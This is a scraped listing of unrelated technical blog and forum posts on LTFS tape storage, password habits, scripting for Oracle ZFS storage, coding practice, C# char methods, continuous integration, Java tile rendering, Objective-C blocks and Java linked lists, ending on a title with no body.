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• Is Linear Tape File System (LTFS) Best For Transportable Storage?

  - by rickramsey

  Those of us in tape storage engineering take a lot of pride in what we do, but understand that tape is the right answer to a storage problem only some of the time. And, unfortunately for a storage medium with such a long history, it has built up a few preconceived notions that are no longer valid. When I hear customers debate whether to implement tape vs. disk, one of the common strikes against tape is its perceived lack of usability. If you could go back a few generations of corporate acquisitions, you would discover that StorageTek engineers recognized this problem and started developing a solution where a tape drive could look just like a memory stick to a user. The goal was to not have to care about where files were on the cartridge, but to simply see the list of files that were on the tape, and click on them to open them up. Eventually, our friends in tape over at IBM built upon our work at StorageTek and Sun Microsystems and released the Linear Tape File System (LTFS) feature for the current LTO5 generation of tape drives as an open specification. LTFS is really a wonderful feature and we’re proud to have taken part in its beginnings and, as you’ll soon read, its future. Today we offer LTFS-Open Edition, which is free for you to use in your in Oracle Enterprise Linux 5.5 environment - not only on your LTO5 drives, but also on your Oracle StorageTek T10000C drives. You can download it free from Oracle and try it out. LTFS does exactly what its forefathers imagined. Now you can see immediately which files are on a cartridge. LTFS does this by splitting a cartridge into two partitions. The first holds all of the necessary metadata to create a directory structure for you to easily view the contents of the cartridge. The second partition holds all of the files themselves. When tape media is loaded onto a drive, a complete file system image is presented to the user. Adding files to a cartridge can be as simple as a drag-and-drop just as you do today on your laptop when transferring files from your hard drive to a thumb drive or with standard POSIX file operations. You may be thinking all of this sounds nice, but asking, “when will I actually use it?” As I mentioned at the beginning, tape is not the right solution all of the time. However, if you ever need to physically move data between locations, tape storage with LTFS should be your most cost-effective and reliable answer. I will give you a few use cases examples of when LTFS can be utilized. Media and Entertainment (M&E), Oil and Gas (O&G), and other industries have a strong need for their storage to be transportable. For example, an O&G company hunting for new oil deposits in remote locations takes very large underground seismic images which need to be shipped back to a central data center. M&E operations conduct similar activities when shooting video for productions. M&E companies also often transfers files to third-parties for editing and other activities. These companies have three highly flawed options for transporting data: electronic transfer, disk storage transport, or tape storage transport. The first option, electronic transfer, is impractical because of the expense of the bandwidth required to transfer multi-terabyte files reliably and efficiently. If there’s one place that has bandwidth, it’s your local post office so many companies revert to physically shipping storage media. Typically, M&E companies rely on transporting disk storage between sites even though it, too, is expensive. Tape storage should be the preferred format because as IDC points out, “Tape is more suitable for physical transportation of large amounts of data as it is less vulnerable to mechanical damage during transportation compared with disk" (See note 1, below). However, tape storage has not been used in the past because of the restrictions created by proprietary formats. A tape may only be readable if both the sender and receiver have the same proprietary application used to write the file. In addition, the workflows may be slowed by the need to read the entire tape cartridge during recall. LTFS solves both of these problems, clearing the way for tape to become the standard platform for transferring large files. LTFS is open and, as long as you’ve downloaded the free reader from our website or that of anyone in the LTO consortium, you can read the data. So if a movie studio ships a scene to a third-party partner to add, for example, sounds effects or a music score, it doesn’t have to care what technology the third-party has. If it’s written back to an LTFS-formatted tape cartridge, it can be read. Some tape vendors like to claim LTFS is a “standard,” but beauty is in the eye of the beholder. It’s a specification at this point, not a standard. That said, we’re already seeing application vendors create functionality to write in an LTFS format based on the specification. And it’s my belief that both customers and the tape storage industry will see the most benefit if we all follow the same path. As such, we have volunteered to lead the way in making LTFS a standard first with the Storage Network Industry Association (SNIA), and eventually through to standard bodies such as American National Standards Institute (ANSI). Expect to hear good news soon about our efforts. So, if storage transportability is one of your requirements, I recommend giving LTFS a look. It makes tape much more user-friendly and it’s free, which allows tape to maintain all of its cost advantages over disk! Note 1 - IDC Report. April, 2011. “IDC’s Archival Storage Solutions Taxonomy, 2011” - Brian Zents Website Newsletter Facebook Twitter

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• Online Password Security Tactics

  - by BuckWoody

  Recently two more large databases were attacked and compromised, one at the popular Gawker Media sites and the other at McDonald’s. Every time this kind of thing happens (which is FAR too often) it should remind the technical professional to ensure that they secure their systems correctly. If you write software that stores passwords, it should be heavily encrypted, and not human-readable in any storage. I advocate a different store for the login and password, so that if one is compromised, the other is not. I also advocate that you set a bit flag when a user changes their password, and send out a reminder to change passwords if that bit isn’t changed every three or six months.    But this post is about the *other* side – what to do to secure your own passwords, especially those you use online, either in a cloud service or at a provider. While you’re not in control of these breaches, there are some things you can do to help protect yourself. Most of these are obvious, but they contain a few little twists that make the process easier.   Use Complex Passwords This is easily stated, and probably one of the most un-heeded piece of advice. There are three main concepts here: ·         Don’t use a dictionary-based word ·         Use mixed case ·         Use punctuation, special characters and so on   So this: password Isn’t nearly as safe as this: P@ssw03d   Of course, this only helps if the site that stores your password encrypts it. Gawker does, so theoretically if you had the second password you’re in better shape, at least, than the first. Dictionary words are quickly broken, regardless of the encryption, so the more unusual characters you use, and the farther away from the dictionary words you get, the better.   Of course, this doesn’t help, not even a little, if the site stores the passwords in clear text, or the key to their encryption is broken. In that case…   Use a Different Password at Every Site What? I have hundreds of sites! Are you kidding me? Nope – I’m not. If you use the same password at every site, when a site gets attacked, the attacker will store your name and password value for attacks at other sites. So the only safe thing to do is to use different names or passwords (or both) at each site. Of course, most sites use your e-mail as a username, so you’re kind of hosed there. So even though you have hundreds of sites you visit, you need to have at least a different password at each site.   But it’s easier than you think – if you use an algorithm.   What I’m describing is to pick a “root” password, and then modify that based on the site or purpose. That way, if the site is compromised, you can still use that root password for the other sites.   Let’s take that second password: P@ssw03d   And now you can append, prepend or intersperse that password with other characters to make it unique to the site. That way you can easily remember the root password, but make it unique to the site. For instance, perhaps you read a lot of information on Gawker – how about these:   P@ssw03dRead ReadP@ssw03d PR@esasdw03d   If you have lots of sites, tracking even this can be difficult, so I recommend you use password software such as Password Safe or some other tool to have a secure database of your passwords at each site. DO NOT store this on the web. DO NOT use an Office document (Microsoft or otherwise) that is “encrypted” – the encryption office automation packages use is very trivial, and easily broken. A quick web search for tools to do that should show you how bad a choice this is.   Change Your Password on a Schedule I know. It’s a real pain. And it doesn’t seem worth it…until your account gets hacked. A quick note here – whenever a site gets hacked (and I find out about it) I change the password at that site immediately (or quit doing business with them) and then change the root password on every site, as quickly as I can.   If you follow the tip above, it’s not as hard. Just add another number, year, month, day, something like that into the mix. It’s not unlike making a Primary Key in an RDBMS.   P@ssw03dRead10242010   Change the site, and then update your password database. I do this about once a month, on the first or last day, during staff meetings. (J)   If you have other tips, post them here. We can all learn from each other on this.

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• Simple Scripting for your Exalogic Storage

  - by Trond Strømme

  As part of my job in Oracle ACS (Advanced Customer Services) I'm handling lots of different systems and customers. Among the recent systems I worked with have been Oracle's Exalogic engineered systems. One of the things I'd never had much exposure to as a system developer/architect/middleware guy/Java dude has been storage; outside of consuming it for my photography needs.. Well, I'm always ready for a new challenge... I'd downloaded the 7000 series storage simulator when it was released in the good old Sun days, found it fun and instructive to play around with, but as I never touched storage in any way (besides consuming it..) I forgot about it. A couple of years ago when I started working with Exalogic engineered systems it again came into light as an invaluable learning and testing tool for the embedded storage in an Exalogic;  Oracle's Sun ZFS Storage 7320 Appliance.  aaaanyway... I've been "booted" into a part-time role as the interim storage/system admin/middleware/Java guy for a client and found I needed to create the occasional report or summary or whatever.. of what's using the storage in the 7320 (as default configured for an Exalogic, 40T of disk in a mirrored configuration, yielding 18T of actual space.) Reading the nice documentation and some articles on the Oracle Technology Network I saw great possibilities with the embedded ECMAScript3/JavaScript engine in the 7000 series.  In my personal opinion anyone who's dealing with Exalogic administration, or exposed to any of the 7000 series of storage appliances and servers that Oracle offers should have a VirtualBox instance of it kicking around. For development and testing it's a fantastic tool. (It can save you from explaining (most) of the embarrassing FAILS you can do if you test something in a production system to your management...) So download, and install.  A small sidestep, if after firing up the 7000 series simulator in VirtualBox you've forgotten what it's IP address is, the following will sort you out if you log in directly via the running VirtualBox VM. So in my case I can ssh to 192.168.56.101 or point a browser to https://192.168.56.101:215 to log into the storage appliance. One simple way of executing a script on the 7320 is to ssh to the device and redirecting a file with the script in it to ssh. ssh [email protected] < myscript.js One question I got from my client and the people who will take over the systems was: "how can we see the quotas and allocations for all projects/shares in one easy go so we don't have to go navigating around in the BUI for all the hundreds of shares the 7320 is hosting just to check if anything is running dry?" Easy! JavaScript time, VirtualBox and emacs! //NOTE! this script is available 'as is' It has ben run on a couple of 7320's, (running 2010.08.17.3.0,1-1.25 & // 2011.04.24.1.0,1-1.8) a 7420 and the VB image, but I personally //offer no guarantee whatsoever that it won't make your server topple, catch fire or in any way go pear shaped.. //run at your own risk or learn from my code and or mistakes.. script run('cd /'); run('shares'); //get all projects: proj = list(); function spaceToGig(bytes){ return bytes/1073741824; //convert bytes to GB } function fullInPercent(quota, space_data){ tmp = (space_data/quota)*100; return tmp; } //print header, slightly good looking printf(" %s/%-15s %8s(GB) %7s(GB) %5s(GB) %7s(GB) %3s\n","Project", "Share","Quota","Ref", "Snap", "Total","%full"); printf("-------------------------------------------------------------------------------\n") //for each project, get all shares. check for quota and calculate percentage and human readable figures.. for (i=0;i<proj.length;i++){ run('select ' + proj[i]); //get all shares for a project var pshares = list(); //for each share get quota properties for (j=0;j<pshares.length;j++){ run('select ' + pshares[j]); quota = get('quota'); //properties associated with a share or inherited from a project spaceData = get('space_data'); spaceSnap = get('space_snapshots'); spaceTotal = get('space_total'); if(quota>0){ //has quota printf(" %s/%-15s \t%4.2fGB\t%.2fGB\t%.2fGB\t%.2fGB\t%5.2f%%\n",proj[i], pshares[j],spaceToGig(quota),spaceToGig(spaceData),spaceToGig(spaceSnap),spaceToGig(spaceTotal),fullInPercent(quota,spaceTotal)); }else{ //no quota printf(" %s/%-15s \t%8s\t%.2fGB\t%.2fGB\t%.2fGB\t%s\n",proj[i],pshares[j], "N/A", spaceToGig(spaceData),spaceToGig(spaceSnap),spaceToGig(spaceTotal),"N/A"); } run('cd ..'); } run('done'); } The resulting output should look something like this: Project/Share Quota(GB) Ref(GB) Snap(GB) Total(GB) %full ------------------------------------------------------------------------------- ACSExalogicSystem/domains N/A 0.04GB 0.00GB 0.04GB N/A ACSExalogicSystem/logs N/A 0.01GB 0.00GB 0.01GB N/A ACSExalogicSystem/nodemgrs N/A 0.00GB 0.00GB 0.00GB N/A ACSExalogicSystem/stores N/A 0.04GB 0.00GB 0.04GB N/A ***_dev/FMW_***_1 133GB 4.24GB 0.01GB 4.25GB 3.19% ***_dev/FMW_***_2 N/A 4.25GB 0.01GB 4.26GB N/A ***_dev/applications 10GB 0.00GB 0.00GB 0.00GB 0.00% ***_dev/domains 50GB 10.75GB 3.55GB 14.30GB 28.61% ***_dev/logs 20GB 0.32GB 0.01GB 0.33GB 1.66% ***_dev/softwaredepot 20GB 4.15GB 0.00GB 4.15GB 20.73% ***_dev/stores 20GB 0.01GB 0.00GB 0.01GB 0.05% ###_dev/FMW_###_1 400GB 17.63GB 0.12GB 17.75GB 4.44% ###_dev/applications N/A 0.00GB 0.00GB 0.00GB N/A ###_dev/domains 120GB 14.21GB 5.53GB 19.74GB 16.45% ###_dev/logs 15GB 0.00GB 0.00GB 0.00GB 0.00% ###_dev/softwaredepot 250GB 73.55GB 0.02GB 73.57GB 29.43% …snip My apologies if the output is a bit mis-aligned here and there, I only bothered making it look good, not perfect :/ I also removed some of the project names (*,#)

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• When does "proper" programming no longer matter?

  - by Kai Qing

  I've been a full time programmer for about 8 years now. Web based mostly, ranging in weird jobs for clients. Never anything I "want" to do. So my experience is limited to what I've been contracted to do, having no real incentive to master anything in particular. So here's my scenario and ultimately what I wonder about... I've been building an android game in my spare time. It's using the libgdx library so quite a bit of the heavy lifting is done for me. I don't read much of the docs cause unless it's in tutorial format I will just not care, and ultimately most of my questions have already been asked on stackoverflow. I get along fine and my game works as expected... Suspiciously well, even. So much so that I wonder why one should bother to be "proper" when coding if the end result is ultimately the same. To be more specific, I used a hashtable because I wanted something close to an associative array. Human readable key values. In other places to achieve similar things, I use a vector. I know libgdx has vector2 and vector3 classes, but I've never used them. When I come across weird problems and search stackoverflow for help, I see a lot of people just reaming the questions that use a certain datatype when another one is technically "proper." Like using an ArrayList because it does not require defined bounds versus re-defining an int[] with new known boundaries. Or even something trivial like this: for(int i = 0; i < items.length; i ++) { // do something } I know it evaluates item.length on every iteration. I just don't care. I know items will never be more than 15 to 20 items. So why bother caring if I evaluate items.length on every iteration? So I wonder - why does everyone get all up in arms over this? Who cares if I use a less efficient datatype to get the job done? I ran some tests to see how the app performs using the lazy, get it done fast and don't look back method I just described versus the proper, follow the tutorial and use the exact data types suggested by the community. The results: Same thing. Average 45 fps. I opened every app on the phone and galaxy tab. Same deal. No difference. My game is pretty graphic intensive. It's not like it's just a simple thing. I expected it to perform kind of badly since I don't care to optimize image assets or... well, you probably get the idea. I'm making the game for fun. As a joke, really. But in doing so I'm working outside the normal scope of my job, which is to always follow the rules and do it the right way. So to say, I am without bounds here and this has caused me to wonder why I ever really care to be "proper" So I guess my question to you is this: Is there a threshold when it no longer matters to be proper? Is there a lasting, longer term consequence to the lazy, get it done and don't look back route? Is it ok to say - "so long as it gets the job done, I don't care?" Disclaimer: When I program my game, I am almost always drunk. I do it to remember why I got into this stuff to begin with because the monotony of client based web work will make you hate being a programmer. I'm having a blast and my game is not crashing, tests well, performs well, looks good on all devices so far and has no noticeable negative impact on any of my testing devices. I expected failure because I was being so drunkenly careless with my code, but to my surprise, it had no noticeable impact. I am now starting to question the need to be careful. Help me regain the ability to care! ... or explain why it's not a bad thing to not care. Secondary disclaimer: I am aware of the benefits of maintainability. For myself and others. Agreed. But it's not like someone happening across my inefficient int[] loop won't know what it does. As an experienced programmer those kinds of things are just clear on sight. I document the complex stuff for myself knowing I was drunk and will probably need a reminder. Those notes would clarify any confusion for someone who might ever gaze upon my ridiculous game - though the reality is that either I maintain it myself or it fades into time. I'm ok with that. But if it doesn't slow the device down, or crash, then crossing the t's and dotting the i's might actually require more time than it's worth.

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• C#/.NET Little Wonders: Static Char Methods

  - by James Michael Hare

  Once again, in this series of posts I look at the parts of the .NET Framework that may seem trivial, but can help improve your code by making it easier to write and maintain. The index of all my past little wonders posts can be found here. Often times in our code we deal with the bigger classes and types in the BCL, and occasionally forgot that there are some nice methods on the primitive types as well.  Today we will discuss some of the handy static methods that exist on the char (the C# alias of System.Char) type. The Background I was examining a piece of code this week where I saw the following: 1: // need to get the 5th (offset 4) character in upper case 2: var type = symbol.Substring(4, 1).ToUpper(); 3:  4: // test to see if the type is P 5: if (type == "P") 6: { 7: // ... do something with P type... 8: } Is there really any error in this code?  No, but it still struck me wrong because it is allocating two very short-lived throw-away strings, just to store and manipulate a single char: The call to Substring() generates a new string of length 1 The call to ToUpper() generates a new upper-case version of the string from Step 1. In my mind this is similar to using ToUpper() to do a case-insensitive compare: it isn’t wrong, it’s just much heavier than it needs to be (for more info on case-insensitive compares, see #2 in 5 More Little Wonders). One of my favorite books is the C++ Coding Standards: 101 Rules, Guidelines, and Best Practices by Sutter and Alexandrescu.  True, it’s about C++ standards, but there’s also some great general programming advice in there, including two rules I love:         8. Don’t Optimize Prematurely         9. Don’t Pessimize Prematurely We all know what #8 means: don’t optimize when there is no immediate need, especially at the expense of readability and maintainability.  I firmly believe this and in the axiom: it’s easier to make correct code fast than to make fast code correct.  Optimizing code to the point that it becomes difficult to maintain often gains little and often gives you little bang for the buck. But what about #9?  Well, for that they state: “All other things being equal, notably code complexity and readability, certain efficient design patterns and coding idioms should just flow naturally from your fingertips and are no harder to write then the pessimized alternatives. This is not premature optimization; it is avoiding gratuitous pessimization.” Or, if I may paraphrase: “where it doesn’t increase the code complexity and readability, prefer the more efficient option”. The example code above was one of those times I feel where we are violating a tacit C# coding idiom: avoid creating unnecessary temporary strings.  The code creates temporary strings to hold one char, which is just unnecessary.  I think the original coder thought he had to do this because ToUpper() is an instance method on string but not on char.  What he didn’t know, however, is that ToUpper() does exist on char, it’s just a static method instead (though you could write an extension method to make it look instance-ish). This leads me (in a long-winded way) to my Little Wonders for the day… Static Methods of System.Char So let’s look at some of these handy, and often overlooked, static methods on the char type: IsDigit(), IsLetter(), IsLetterOrDigit(), IsPunctuation(), IsWhiteSpace() Methods to tell you whether a char (or position in a string) belongs to a category of characters. IsLower(), IsUpper() Methods that check if a char (or position in a string) is lower or upper case ToLower(), ToUpper() Methods that convert a single char to the lower or upper equivalent. For example, if you wanted to see if a string contained any lower case characters, you could do the following: 1: if (symbol.Any(c => char.IsLower(c))) 2: { 3: // ... 4: } Which, incidentally, we could use a method group to shorten the expression to: 1: if (symbol.Any(char.IsLower)) 2: { 3: // ... 4: } Or, if you wanted to verify that all of the characters in a string are digits: 1: if (symbol.All(char.IsDigit)) 2: { 3: // ... 4: } Also, for the IsXxx() methods, there are overloads that take either a char, or a string and an index, this means that these two calls are logically identical: 1: // check given a character 2: if (char.IsUpper(symbol[0])) { ... } 3:  4: // check given a string and index 5: if (char.IsUpper(symbol, 0)) { ... } Obviously, if you just have a char, then you’d just use the first form.  But if you have a string you can use either form equally well. As a side note, care should be taken when examining all the available static methods on the System.Char type, as some seem to be redundant but actually have very different purposes.  For example, there are IsDigit() and IsNumeric() methods, which sound the same on the surface, but give you different results. IsDigit() returns true if it is a base-10 digit character (‘0’, ‘1’, … ‘9’) where IsNumeric() returns true if it’s any numeric character including the characters for ½, ¼, etc. Summary To come full circle back to our opening example, I would have preferred the code be written like this: 1: // grab 5th char and take upper case version of it 2: var type = char.ToUpper(symbol[4]); 3:  4: if (type == 'P') 5: { 6: // ... do something with P type... 7: } Not only is it just as readable (if not more so), but it performs over 3x faster on my machine:    1,000,000 iterations of char method took: 30 ms, 0.000050 ms/item.    1,000,000 iterations of string method took: 101 ms, 0.000101 ms/item. It’s not only immediately faster because we don’t allocate temporary strings, but as an added bonus there less garbage to collect later as well.  To me this qualifies as a case where we are using a common C# performance idiom (don’t create unnecessary temporary strings) to make our code better. Technorati Tags: C#,CSharp,.NET,Little Wonders,char,string

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• How many developers before continuous integration becomes effective for us?

  - by Carnotaurus

  There is an overhead associated with continuous integration, e.g., set up, re-training, awareness activities, stoppage to fix "bugs" that turn out to be data issues, enforced separation of concerns programming styles, etc. At what point does continuous integration pay for itself? EDIT: These were my findings The set-up was CruiseControl.Net with Nant, reading from VSS or TFS. Here are a few reasons for failure, which have nothing to do with the setup: Cost of investigation: The time spent investigating whether a red light is due a genuine logical inconsistency in the code, data quality, or another source such as an infrastructure problem (e.g., a network issue, a timeout reading from source control, third party server is down, etc., etc.) Political costs over infrastructure: I considered performing an "infrastructure" check for each method in the test run. I had no solution to the timeout except to replace the build server. Red tape got in the way and there was no server replacement. Cost of fixing unit tests: A red light due to a data quality issue could be an indicator of a badly written unit test. So, data dependent unit tests were re-written to reduce the likelihood of a red light due to bad data. In many cases, necessary data was inserted into the test environment to be able to accurately run its unit tests. It makes sense to say that by making the data more robust then the test becomes more robust if it is dependent on this data. Of course, this worked well! Cost of coverage, i.e., writing unit tests for already existing code: There was the problem of unit test coverage. There were thousands of methods that had no unit tests. So, a sizeable amount of man days would be needed to create those. As this would be too difficult to provide a business case, it was decided that unit tests would be used for any new public method going forward. Those that did not have a unit test were termed 'potentially infra red'. An intestesting point here is that static methods were a moot point in how it would be possible to uniquely determine how a specific static method had failed. Cost of bespoke releases: Nant scripts only go so far. They are not that useful for, say, CMS dependent builds for EPiServer, CMS, or any UI oriented database deployment. These are the types of issues that occured on the build server for hourly test runs and overnight QA builds. I entertain that these to be unnecessary as a build master can perform these tasks manually at the time of release, esp., with a one man band and a small build. So, single step builds have not justified use of CI in my experience. What about the more complex, multistep builds? These can be a pain to build, especially without a Nant script. So, even having created one, these were no more successful. The costs of fixing the red light issues outweighed the benefits. Eventually, developers lost interest and questioned the validity of the red light. Having given it a fair try, I believe that CI is expensive and there is a lot of working around the edges instead of just getting the job done. It's more cost effective to employ experienced developers who do not make a mess of large projects than introduce and maintain an alarm system. This is the case even if those developers leave. It doesn't matter if a good developer leaves because processes that he follows would ensure that he writes requirement specs, design specs, sticks to the coding guidelines, and comments his code so that it is readable. All this is reviewed. If this is not happening then his team leader is not doing his job, which should be picked up by his manager and so on. For CI to work, it is not enough to just write unit tests, attempt to maintain full coverage, and ensure a working infrastructure for sizable systems. The bottom line: One might question whether fixing as many bugs before release is even desirable from a business prespective. CI involves a lot of work to capture a handful of bugs that the customer could identify in UAT or the company could get paid for fixing as part of a client service agreement when the warranty period expires anyway.

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• Efficient way to render tile-based map in Java

  - by Lucius

  Some time ago I posted here because I was having some memory issues with a game I'm working on. That has been pretty much solved thanks to some suggestions here, so I decided to come back with another problem I'm having. Basically, I feel that too much of the CPU is being used when rendering the map. I have a Core i5-2500 processor and when running the game, the CPU usage is about 35% - and I can't accept that that's just how it has to be. This is how I'm going about rendering the map: I have the X and Y coordinates of the player, so I'm not drawing the whole map, just the visible portion of it; The number of visible tiles on screen varies according to the resolution chosen by the player (the CPU usage is 35% here when playing at a resolution of 1440x900); If the tile is "empty", I just skip drawing it (this didn't visibly lower the CPU usage, but reduced the drawing time in about 20ms); The map is composed of 5 layers - for more details; The tiles are 32x32 pixels; And just to be on the safe side, I'll post the code for drawing the game here, although it's as messy and unreadable as it can be T_T (I'll try to make it a little readable) private void drawGame(Graphics2D g2d){ //Width and Height of the visible portion of the map (not of the screen) int visionWidht = visibleCols * TILE_SIZE; int visionHeight = visibleRows * TILE_SIZE; //Since the map can be smaller than the screen, I center it just to be sure int xAdjust = (getWidth() - visionWidht) / 2; int yAdjust = (getHeight() - visionHeight) / 2; //This "deducedX" thing is to move the map a few pixels horizontally, since the player moves by pixels and not full tiles int playerDrawX = listOfCharacters.get(0).getX(); int deducedX = 0; if (listOfCharacters.get(0).currentCol() - visibleCols / 2 >= 0) { playerDrawX = visibleCols / 2 * TILE_SIZE; map_draw_col = listOfCharacters.get(0).currentCol() - visibleCols / 2; deducedX = listOfCharacters.get(0).getXCol(); } //"deducedY" is the same deal as "deducedX", but vertically int playerDrawY = listOfCharacters.get(0).getY(); int deducedY = 0; if (listOfCharacters.get(0).currentRow() - visibleRows / 2 >= 0) { playerDrawY = visibleRows / 2 * TILE_SIZE; map_draw_row = listOfCharacters.get(0).currentRow() - visibleRows / 2; deducedY = listOfCharacters.get(0).getYRow(); } int max_cols = visibleCols + map_draw_col; if (max_cols >= map.getCols()) { max_cols = map.getCols() - 1; deducedX = 0; map_draw_col = max_cols - visibleCols + 1; playerDrawX = listOfCharacters.get(0).getX() - map_draw_col * TILE_SIZE; } int max_rows = visibleRows + map_draw_row; if (max_rows >= map.getRows()) { max_rows = map.getRows() - 1; deducedY = 0; map_draw_row = max_rows - visibleRows + 1; playerDrawY = listOfCharacters.get(0).getY() - map_draw_row * TILE_SIZE; } //map_draw_row and map_draw_col representes the coordinate of the upper left tile on the screen //iterate through all the tiles on screen and draw them - this is what consumes most of the CPU for (int col = map_draw_col; col <= max_cols; col++) { for (int row = map_draw_row; row <= max_rows; row++) { Tile[] tiles = map.getTiles(col, row); for(int layer = 0; layer < tiles.length; layer++){ Tile currentTile = tiles[layer]; boolean shouldDraw = true; //I only draw the tile if it exists and is not empty (id=-1) if(currentTile != null && currentTile.getId() >= 0){ //The layers above 1 can be draw behing or infront of the player according to where it's standing if(layer > 1 && currentTile.getId() >= 0){ if(playerBehind(col, row, layer, listOfCharacters.get(0))){ behinds.get(0).add(new int[]{col, row}); //the tiles that are infront of the player wont be draw right now shouldDraw = false; } } if(shouldDraw){ g2d.drawImage( tiles[layer].getImage(), (col-map_draw_col)*TILE_SIZE - deducedX + xAdjust, (row-map_draw_row)*TILE_SIZE - deducedY + yAdjust, null); } } } } } } There's some more code in this method but nothing relevant to this question. Basically, the biggest problem is that I iterate over around 5000 tiles (in this specific resolution) 60 times each second. I thought about rendering the visible portion of the map once and storing it into a BufferedImage and when the player moved move the whole image the same amount but to the opposite side and then drawn the tiles that appeared on the screen, but if I do it like that, I wont be able to have animated tiles (at least I think). That being said, any suggestions?

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• Why is code quality not popular?

  - by Peter Kofler

  I like my code being in order, i.e. properly formatted, readable, designed, tested, checked for bugs, etc. In fact I am fanatic about it. (Maybe even more than fanatic...) But in my experience actions helping code quality are hardly implemented. (By code quality I mean the quality of the code you produce day to day. The whole topic of software quality with development processes and such is much broader and not the scope of this question.) Code quality does not seem popular. Some examples from my experience include Probably every Java developer knows JUnit, almost all languages implement xUnit frameworks, but in all companies I know, only very few proper unit tests existed (if at all). I know that it's not always possible to write unit tests due to technical limitations or pressing deadlines, but in the cases I saw, unit testing would have been an option. If a developer wanted to write some tests for his/her new code, he/she could do so. My conclusion is that developers do not want to write tests. Static code analysis is often played around in small projects, but not really used to enforce coding conventions or find possible errors in enterprise projects. Usually even compiler warnings like potential null pointer access are ignored. Conference speakers and magazines would talk a lot about EJB3.1, OSGI, Cloud and other new technologies, but hardly about new testing technologies or tools, new static code analysis approaches (e.g. SAT solving), development processes helping to maintain higher quality, how some nasty beast of legacy code was brought under test, ... (I did not attend many conferences and it propably looks different for conferences on agile topics, as unit testing and CI and such has a higer value there.) So why is code quality so unpopular/considered boring? EDIT: Thank your for your answers. Most of them concern unit testing (and has been discussed in a related question). But there are lots of other things that can be used to keep code quality high (see related question). Even if you are not able to use unit tests, you could use a daily build, add some static code analysis to your IDE or development process, try pair programming or enforce reviews of critical code.

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• Using Objective-C Blocks

  - by Sean

  Today I was experimenting with Objective-C's blocks so I thought I'd be clever and add to NSArray a few functional-style collection methods that I've seen in other languages: @interface NSArray (FunWithBlocks) - (NSArray *)collect:(id (^)(id obj))block; - (NSArray *)select:(BOOL (^)(id obj))block; - (NSArray *)flattenedArray; @end The collect: method takes a block which is called for each item in the array and expected to return the results of some operation using that item. The result is the collection of all of those results. (If the block returns nil, nothing is added to the result set.) The select: method will return a new array with only the items from the original that, when passed as an argument to the block, the block returned YES. And finally, the flattenedArray method iterates over the array's items. If an item is an array, it recursively calls flattenedArray on it and adds the results to the result set. If the item isn't an array, it adds the item to the result set. The result set is returned when everything is finished. So now that I had some infrastructure, I needed a test case. I decided to find all package files in the system's application directories. This is what I came up with: NSArray *packagePaths = [[[NSSearchPathForDirectoriesInDomains(NSAllApplicationsDirectory, NSAllDomainsMask, YES) collect:^(id path) { return (id)[[[NSFileManager defaultManager] contentsOfDirectoryAtPath:path error:nil] collect:^(id file) { return (id)[path stringByAppendingPathComponent:file]; }]; }] flattenedArray] select:^(id fullPath) { return [[NSWorkspace sharedWorkspace] isFilePackageAtPath:fullPath]; }]; Yep - that's all one line and it's horrid. I tried a few approaches at adding newlines and indentation to try to clean it up, but it still feels like the actual algorithm is lost in all the noise. I don't know if it's just a syntax thing or my relative in-experience with using a functional style that's the problem, though. For comparison, I decided to do it "the old fashioned way" and just use loops: NSMutableArray *packagePaths = [NSMutableArray new]; for (NSString *searchPath in NSSearchPathForDirectoriesInDomains(NSAllApplicationsDirectory, NSAllDomainsMask, YES)) { for (NSString *file in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:searchPath error:nil]) { NSString *packagePath = [searchPath stringByAppendingPathComponent:file]; if ([[NSWorkspace sharedWorkspace] isFilePackageAtPath:packagePath]) { [packagePaths addObject:packagePath]; } } } IMO this version was easier to write and is more readable to boot. I suppose it's possible this was somehow a bad example, but it seems like a legitimate way to use blocks to me. (Am I wrong?) Am I missing something about how to write or structure Objective-C code with blocks that would clean this up and make it clearer than (or even just as clear as) the looped version?

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• print a linear linked list into a table

  - by user1796970

  I am attempting to print some values i have stored into a LLL into a readable table. The data i have stored is the following : DEBBIE STARR F 3 W 1000.00 JOAN JACOBUS F 9 W 925.00 DAVID RENN M 3 H 4.75 ALBERT CAHANA M 3 H 18.75 DOUGLAS SHEER M 5 W 250.00 SHARI BUCHMAN F 9 W 325.00 SARA JONES F 1 H 7.50 RICKY MOFSEN M 6 H 12.50 JEAN BRENNAN F 6 H 5.40 JAMIE MICHAELS F 8 W 150.00 i have stored each firstname, lastname, gender, tenure, payrate, and salary into their own List. And would like to be able to print them out in the same format that they are viewed on the text file i read them in from. i have messed around with a few methods that allow me to traverse and print the Lists, but i end up with ugly output. . . here is my code for the storage of the text file and the format i would like to print out: public class Payroll { private LineWriter lw; private ObjectList output; ListNode input; private ObjectList firstname, lastname, gender, tenure, rate, salary; public Payroll(LineWriter lw) { this.lw = lw; this.firstname = new ObjectList(); this.lastname = new ObjectList(); this.gender = new ObjectList(); this.tenure = new ObjectList(); this.rate = new ObjectList(); this.salary = new ObjectList(); this.output = new ObjectList(); this.input = new ListNode(); } public void readfile() { File file = new File("payfile.txt"); try{ Scanner scanner = new Scanner(file); while(scanner.hasNextLine()) { String line = scanner.nextLine(); Scanner lineScanner = new Scanner(line); lineScanner.useDelimiter("\\s+"); while(lineScanner.hasNext()) { firstname.insert1(lineScanner.next()); lastname.insert1(lineScanner.next()); gender.insert1(lineScanner.next()); tenure.insert1(lineScanner.next()); rate.insert1(lineScanner.next()); salary.insert1(lineScanner.next()); } } }catch(FileNotFoundException e) {e.printStackTrace();} } public void printer(LineWriter lw) { String msg = " FirstName " + " LastName " + " Gender " + " Tenure " + " Pay Rate " + " Salary "; output.insert1(msg); System.out.println(output.getFirst()); System.out.println(" " + firstname.getFirst() + " " + lastname.getFirst() + "\t" + gender.getFirst() + "\t" + tenure.getFirst() + "\t" + rate.getFirst() + "\t" + salary.getFirst()); } }

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• Solving the NP-complete problem in XKCD

  - by Adam Tuttle

